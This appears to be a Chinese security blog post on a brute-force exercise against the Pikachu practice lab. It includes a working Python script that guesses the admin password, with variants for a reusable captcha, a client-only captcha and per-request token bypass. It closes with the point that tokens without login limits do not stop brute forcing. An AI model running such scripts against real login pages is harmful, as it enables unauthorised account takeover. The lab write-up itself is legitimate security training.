【信息安全】暴力破解-Python工具篇

在对pikachu靶场的暴力破解进行测试时,我们可以使用burpsuite进行爆破,也可使用Python脚本进行自动化爆破
以下内容主要记录本次使用Python进行暴力破解的思路:

  • 通过burpsuite进行截断,获取客户提交的http请求信息:
    在这里插入图片描述
  • 通过burpsuite截断信息,我们可以获取cookie及post提交的字段信息;
  • 根据获取到的信息编写Python脚本:
import requests
from bs4 import BeautifulSoup
s = requests.session()
password = ['123', '456', '123456', '67899']
# 设置http请求头部信息
header = {
    
    
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                  ' (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36',
    'Cookie': 'PHPSESSID=of5tkhcr385na1oij0h90vr1r0'
}
req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php')
# token验证
token= BeautifulSoup(req.text,'lxml').find('input',{
    
    'name':'token'}).get('value')
for pa in password:
    # 基于表单的暴力破解
    # req=s.post(url='http://pikachu.hack/vul/burteforce/bf_form.php',data={'username':'admin','password':pa,'submit':'Login'})
    # 验证码绕过(on server)未失效,可重复使用
    # data = {'username': 'admin', 'password': pa, 'vcode': '14xkgk', 'submit': 'Login'}
    # req = requests.post(url='http://pikachu.hack/vul/burteforce/bf_server.php',
    #                     data=data, headers=header)
    # 基于client端验证码,后台无校验
    # req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={'username':'admin','password':pa,'submit':'Login'})
    # 基于token验证
    req=s.post(url='http://pikachu.hack/vul/burteforce/bf_token.php',data={
    
    'username':'admin','password':pa,'token':token,'submit':'Login'})

    if 'success' in req.text:
        print("爆破成功,用户名:admin,密码为:%s" % pa)
        break
    else:
        req = s.get('http://pikachu.hack/vul/burteforce/bf_token.php')
        token = BeautifulSoup(req.text, 'lxml').find('input', {
    
    'name': 'token'}).get('value')

通过分析,我们可以发现,不是存在验证码就是安全的,若验证码在不刷新页面的情况下,可以反复使用,那么我们只需要枚举用户名、密码即可。可能部分页面存在唬人的情况,页面存在验证码,但实际上后端并未对验证码做校验。
较为安全的是为每次请求都生成随机的token,在提交请求的时候,对token字段也进行校验。通过以上代码我们可以发现,即使是存在token的情况下, 若没有登录限制,我们仍然可以对用户名等进行爆破。

猜你喜欢

转载自blog.csdn.net/Nicky_Zheng/article/details/109170903